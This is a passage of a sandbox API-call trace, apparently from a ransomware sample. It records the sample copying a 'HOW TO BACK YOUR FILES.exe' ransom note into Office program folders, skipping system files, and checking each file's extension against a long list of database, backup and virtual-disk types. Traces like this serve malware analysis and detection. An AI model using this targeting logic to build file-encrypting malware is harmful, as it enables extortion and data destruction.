	[0070.431] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.431] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.431] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0070.432] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.432] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0070.432] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.432] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0070.434] CloseHandle (hObject=0x118) returned 1
	[0070.434] CloseHandle (hObject=0x15c) returned 1
	[0070.434] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0070.434] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.434] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.435] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0
	[0070.436] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0070.436] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fbf0
	[0070.436] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices"
	[0070.436] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafd0 | out: hHeap=0x580000) returned 1
	[0070.436] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0070.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices") returned 76
	[0070.436] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices"
	[0070.436] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.436] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.441] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.441] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x420f5410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x420f5410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.441] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.441] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.441] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0070.441] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x420f5410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x420f5410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.441] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.441] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0070.441] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0070.441] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0070.441] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x420f5410, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x420f5410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0070.441] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0070.441] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InfoPathOMFormServicesV12", cAlternateFileName="INFOPA~1")) returned 1
	[0070.441] lstrcmpiW (lpString1="InfoPathOMFormServicesV12", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.441] lstrcmpiW (lpString1="InfoPathOMFormServicesV12", lpString2="Apollon865.txt.exe") returned 1
	[0070.442] lstrcmpiW (lpString1="InfoPathOMFormServicesV12", lpString2=".") returned 1
	[0070.442] lstrcmpiW (lpString1="InfoPathOMFormServicesV12", lpString2="..") returned 1
	[0070.442] lstrcmpiW (lpString1="InfoPathOMFormServicesV12", lpString2="windows") returned -1
	[0070.442] lstrcmpiW (lpString1="InfoPathOMFormServicesV12", lpString2="bootmgr") returned 1
	[0070.442] lstrcmpiW (lpString1="InfoPathOMFormServicesV12", lpString2="temp") returned -1
	[0070.442] lstrcmpiW (lpString1="InfoPathOMFormServicesV12", lpString2="pagefile.sys") returned -1
	[0070.442] lstrcmpiW (lpString1="InfoPathOMFormServicesV12", lpString2="boot") returned 1
	[0070.442] lstrcmpiW (lpString1="InfoPathOMFormServicesV12", lpString2="ids.txt") returned 1
	[0070.442] lstrcmpiW (lpString1="InfoPathOMFormServicesV12", lpString2="ntuser.dat") returned -1
	[0070.442] lstrcmpiW (lpString1="InfoPathOMFormServicesV12", lpString2="perflogs") returned -1
	[0070.442] lstrcmpiW (lpString1="InfoPathOMFormServicesV12", lpString2="MSBuild") returned -1
	[0070.442] lstrlenW (lpString="InfoPathOMFormServicesV12") returned 25
	[0070.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*") returned 78
	[0070.442] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="InfoPathOMFormServicesV12" | out: lpString1="InfoPathOMFormServicesV12") returned="InfoPathOMFormServicesV12"
	[0070.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0070.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xce) returned 0x5a5368
	[0070.442] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x59fcd0
	[0070.442] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xb770, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0070.442] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.442] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="Apollon865.txt.exe") returned 1
	[0070.442] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".") returned 1
	[0070.442] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="..") returned 1
	[0070.442] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="windows") returned -1
	[0070.442] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="bootmgr") returned 1
	[0070.442] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="temp") returned -1
	[0070.442] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="pagefile.sys") returned -1
	[0070.442] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="boot") returned 1
	[0070.442] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="ids.txt") returned 1
	[0070.442] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="ntuser.dat") returned -1
	[0070.442] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="perflogs") returned -1
	[0070.442] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="MSBuild") returned -1
	[0070.442] lstrlenW (lpString="Microsoft.Office.Infopath.dll") returned 29
	[0070.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12") returned 102
	[0070.442] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="Microsoft.Office.Infopath.dll" | out: lpString1="Microsoft.Office.Infopath.dll") returned="Microsoft.Office.Infopath.dll"
	[0070.442] lstrlenW (lpString="Microsoft.Office.Infopath.dll") returned 29
	[0070.443] lstrlenW (lpString="Apollon865") returned 10
	[0070.443] lstrcmpiW (lpString1="fopath.dll", lpString2="Apollon865") returned 1
	[0070.443] lstrlenW (lpString=".dll") returned 4
	[0070.443] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".dll") returned 1
	[0070.443] lstrlenW (lpString=".lnk") returned 4
	[0070.443] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".lnk") returned 1
	[0070.443] lstrlenW (lpString=".ini") returned 4
	[0070.443] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".ini") returned 1
	[0070.443] lstrlenW (lpString=".sys") returned 4
	[0070.443] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".sys") returned 1
	[0070.443] lstrlenW (lpString="Microsoft.Office.Infopath.dll") returned 29
	[0070.443] lstrlenW (lpString="bak") returned 3
	[0070.443] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0070.443] lstrlenW (lpString="ba_") returned 3
	[0070.443] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0070.443] lstrlenW (lpString="dbb") returned 3
	[0070.443] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0070.443] lstrlenW (lpString="vmdk") returned 4
	[0070.443] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0070.443] lstrlenW (lpString="rar") returned 3
	[0070.443] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0070.443] lstrlenW (lpString="zip") returned 3
	[0070.443] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0070.443] lstrlenW (lpString="tgz") returned 3
	[0070.443] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0070.443] lstrlenW (lpString="vbox") returned 4
	[0070.443] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0070.443] lstrlenW (lpString="vdi") returned 3
	[0070.443] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0070.443] lstrlenW (lpString="vhd") returned 3
	[0070.443] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0070.443] lstrlenW (lpString="vhdx") returned 4
	[0070.443] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0070.443] lstrlenW (lpString="avhd") returned 4
	[0070.443] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0070.443] lstrlenW (lpString="db") returned 2
	[0070.443] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0070.443] lstrlenW (lpString="db2") returned 3
	[0070.444] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0070.444] lstrlenW (lpString="db3") returned 3
	[0070.444] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0070.444] lstrlenW (lpString="dbf") returned 3
	[0070.444] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0070.444] lstrlenW (lpString="mdf") returned 3
	[0070.444] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0070.444] lstrlenW (lpString="mdb") returned 3
	[0070.444] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0070.444] lstrlenW (lpString="sql") returned 3
	[0070.444] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0070.444] lstrlenW (lpString="sqlite") returned 6
	[0070.444] lstrcmpiW (lpString1="th.dll", lpString2="sqlite") returned 1
	[0070.444] lstrlenW (lpString="sqlite3") returned 7
	[0070.444] lstrcmpiW (lpString1="ath.dll", lpString2="sqlite3") returned -1
	[0070.444] lstrlenW (lpString="sqlitedb") returned 8
	[0070.444] lstrcmpiW (lpString1="path.dll", lpString2="sqlitedb") returned -1
	[0070.444] lstrlenW (lpString="xml") returned 3
	[0070.444] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0070.444] lstrlenW (lpString="$er") returned 3
	[0070.444] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0070.444] lstrlenW (lpString="4dd") returned 3
	[0070.444] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0070.444] lstrlenW (lpString="4dl") returned 3
	[0070.444] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0070.444] lstrlenW (lpString="^^^") returned 3
	[0070.444] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0070.444] lstrlenW (lpString="abs") returned 3
	[0070.444] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0070.444] lstrlenW (lpString="abx") returned 3
	[0070.444] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0070.444] lstrlenW (lpString="accdb") returned 5
	[0070.444] lstrcmpiW (lpString1="h.dll", lpString2="accdb") returned 1
	[0070.444] lstrlenW (lpString="accdc") returned 5
	[0070.444] lstrcmpiW (lpString1="h.dll", lpString2="accdc") returned 1
	[0070.444] lstrlenW (lpString="accde") returned 5
	[0070.444] lstrcmpiW (lpString1="h.dll", lpString2="accde") returned 1
	[0070.444] lstrlenW (lpString="accdr") returned 5
	[0070.445] lstrcmpiW (lpString1="h.dll", lpString2="accdr") returned 1
	[0070.445] lstrlenW (lpString="accdt") returned 5
	[0070.445] lstrcmpiW (lpString1="h.dll", lpString2="accdt") returned 1
	[0070.445] lstrlenW (lpString="accdw") returned 5
	[0070.445] lstrcmpiW (lpString1="h.dll", lpString2="accdw") returned 1
	[0070.445] lstrlenW (lpString="accft") returned 5
	[0070.445] lstrcmpiW (lpString1="h.dll", lpString2="accft") returned 1
	[0070.445] lstrlenW (lpString="adb") returned 3
	[0070.445] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0070.445] lstrlenW (lpString="adb") returned 3
	[0070.445] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0070.445] lstrlenW (lpString="ade") returned 3
	[0070.445] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0070.445] lstrlenW (lpString="adf") returned 3
	[0070.445] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0070.445] lstrlenW (lpString="adn") returned 3
	[0070.445] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0070.445] lstrlenW (lpString="adp") returned 3
	[0070.445] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0070.445] lstrlenW (lpString="alf") returned 3
	[0070.445] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0070.445] lstrlenW (lpString="ask") returned 3
	[0070.445] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0070.445] lstrlenW (lpString="btr") returned 3
	[0070.445] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0070.445] lstrlenW (lpString="cat") returned 3
	[0070.445] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0070.445] lstrlenW (lpString="cdb") returned 3
	[0070.445] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0070.445] lstrlenW (lpString="ckp") returned 3
	[0070.445] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0070.445] lstrlenW (lpString="cma") returned 3
	[0070.445] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0070.445] lstrlenW (lpString="cpd") returned 3
	[0070.445] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0070.445] lstrlenW (lpString="dacpac") returned 6
	[0070.446] lstrcmpiW (lpString1="th.dll", lpString2="dacpac") returned 1
	[0070.446] lstrlenW (lpString="dad") returned 3
	[0070.446] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0070.446] lstrlenW (lpString="dadiagrams") returned 10
	[0070.446] lstrcmpiW (lpString1="fopath.dll", lpString2="dadiagrams") returned 1
	[0070.446] lstrlenW (lpString="daschema") returned 8
	[0070.446] lstrcmpiW (lpString1="path.dll", lpString2="daschema") returned 1
	[0070.446] lstrlenW (lpString="db-journal") returned 10
	[0070.446] lstrcmpiW (lpString1="fopath.dll", lpString2="db-journal") returned 1
	[0070.446] lstrlenW (lpString="db-shm") returned 6
	[0070.446] lstrcmpiW (lpString1="th.dll", lpString2="db-shm") returned 1
	[0070.446] lstrlenW (lpString="db-wal") returned 6
	[0070.446] lstrcmpiW (lpString1="th.dll", lpString2="db-wal") returned 1
	[0070.446] lstrlenW (lpString="dbc") returned 3
	[0070.446] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0070.446] lstrlenW (lpString="dbs") returned 3
	[0070.446] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0070.446] lstrlenW (lpString="dbt") returned 3
	[0070.446] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0070.446] lstrlenW (lpString="dbv") returned 3
	[0070.446] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0070.446] lstrlenW (lpString="dbx") returned 3
	[0070.446] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0070.446] lstrlenW (lpString="dcb") returned 3
	[0070.446] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0070.446] lstrlenW (lpString="dct") returned 3
	[0070.446] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0070.446] lstrlenW (lpString="dcx") returned 3
	[0070.446] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0070.446] lstrlenW (lpString="ddl") returned 3
	[0070.446] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0070.446] lstrlenW (lpString="dlis") returned 4
	[0070.446] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1
	[0070.446] lstrlenW (lpString="dp1") returned 3
	[0070.446] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0070.446] lstrlenW (lpString="dqy") returned 3
	[0070.447] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0070.447] lstrlenW (lpString="dsk") returned 3
	[0070.447] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0070.447] lstrlenW (lpString="dsn") returned 3
	[0070.447] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0070.447] lstrlenW (lpString="dtsx") returned 4
	[0070.447] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1
	[0070.447] lstrlenW (lpString="dxl") returned 3
	[0070.447] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0070.447] lstrlenW (lpString="eco") returned 3
	[0070.447] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0070.447] lstrlenW (lpString="ecx") returned 3
	[0070.447] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0070.447] lstrlenW (lpString="edb") returned 3
	[0070.447] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0070.447] lstrlenW (lpString="epim") returned 4
	[0070.447] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1
	[0070.447] lstrlenW (lpString="fcd") returned 3
	[0070.447] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0070.447] lstrlenW (lpString="fdb") returned 3
	[0070.447] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0070.447] lstrlenW (lpString="fic") returned 3
	[0070.447] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0070.447] lstrlenW (lpString="flexolibrary") returned 12
	[0070.447] lstrcmpiW (lpString1="Infopath.dll", lpString2="flexolibrary") returned 1
	[0070.447] lstrlenW (lpString="fm5") returned 3
	[0070.447] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0070.447] lstrlenW (lpString="fmp") returned 3
	[0070.447] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0070.447] lstrlenW (lpString="fmp12") returned 5
	[0070.447] lstrcmpiW (lpString1="h.dll", lpString2="fmp12") returned 1
	[0070.447] lstrlenW (lpString="fmpsl") returned 5
	[0070.447] lstrcmpiW (lpString1="h.dll", lpString2="fmpsl") returned 1
	[0070.447] lstrlenW (lpString="fol") returned 3
	[0070.447] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0070.447] lstrlenW (lpString="fp3") returned 3
	[0070.447] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0070.448] lstrlenW (lpString="fp4") returned 3
	[0070.448] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0070.448] lstrlenW (lpString="fp5") returned 3
	[0070.448] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0070.448] lstrlenW (lpString="fp7") returned 3
	[0070.448] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0070.448] lstrlenW (lpString="fpt") returned 3
	[0070.448] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0070.448] lstrlenW (lpString="frm") returned 3
	[0070.448] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0070.448] lstrlenW (lpString="gdb") returned 3
	[0070.448] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0070.448] lstrlenW (lpString="gdb") returned 3
	[0070.448] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0070.448] lstrlenW (lpString="grdb") returned 4
	[0070.448] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1
	[0070.448] lstrlenW (lpString="gwi") returned 3
	[0070.448] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0070.448] lstrlenW (lpString="hdb") returned 3
	[0070.448] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0070.448] lstrlenW (lpString="his") returned 3
	[0070.448] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0070.448] lstrlenW (lpString="ib") returned 2
	[0070.448] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0070.448] lstrlenW (lpString="idb") returned 3
	[0070.448] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0070.448] lstrlenW (lpString="ihx") returned 3
	[0070.448] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0070.448] lstrlenW (lpString="itdb") returned 4
	[0070.448] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1
	[0070.448] lstrlenW (lpString="itw") returned 3
	[0070.448] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0070.448] lstrlenW (lpString="jet") returned 3
	[0070.448] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0070.448] lstrlenW (lpString="jtx") returned 3
	[0070.448] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0070.448] lstrlenW (lpString="kdb") returned 3
	[0070.448] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0070.449] lstrlenW (lpString="kexi") returned 4
	[0070.449] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1
	[0070.449] lstrlenW (lpString="kexic") returned 5
	[0070.449] lstrcmpiW (lpString1="h.dll", lpString2="kexic") returned -1
	[0070.449] lstrlenW (lpString="kexis") returned 5
	[0070.449] lstrcmpiW (lpString1="h.dll", lpString2="kexis") returned -1
	[0070.449] lstrlenW (lpString="lgc") returned 3
	[0070.449] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0070.449] lstrlenW (lpString="lwx") returned 3
	[0070.449] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0070.449] lstrlenW (lpString="maf") returned 3
	[0070.449] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0070.449] lstrlenW (lpString="maq") returned 3
	[0070.449] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0070.449] lstrlenW (lpString="mar") returned 3
	[0070.449] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0070.449] lstrlenW (lpString="marshal") returned 7
	[0070.449] lstrcmpiW (lpString1="ath.dll", lpString2="marshal") returned -1
	[0070.449] lstrlenW (lpString="mas") returned 3
	[0070.449] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0070.449] lstrlenW (lpString="mav") returned 3
	[0070.449] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0070.449] lstrlenW (lpString="maw") returned 3
	[0070.449] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0070.449] lstrlenW (lpString="mdbhtml") returned 7
	[0070.449] lstrcmpiW (lpString1="ath.dll", lpString2="mdbhtml") returned -1
	[0070.449] lstrlenW (lpString="mdn") returned 3
	[0070.449] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0070.449] lstrlenW (lpString="mdt") returned 3
	[0070.449] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0070.449] lstrlenW (lpString="mfd") returned 3
	[0070.449] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0070.449] lstrlenW (lpString="mpd") returned 3
	[0070.449] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0070.449] lstrlenW (lpString="mrg") returned 3
	[0070.449] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0070.449] lstrlenW (lpString="mud") returned 3
	[0070.450] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0070.450] lstrlenW (lpString="mwb") returned 3
	[0070.450] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0070.450] lstrlenW (lpString="myd") returned 3
	[0070.450] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0070.450] lstrlenW (lpString="ndf") returned 3
	[0070.450] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0070.450] lstrlenW (lpString="nnt") returned 3
	[0070.450] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
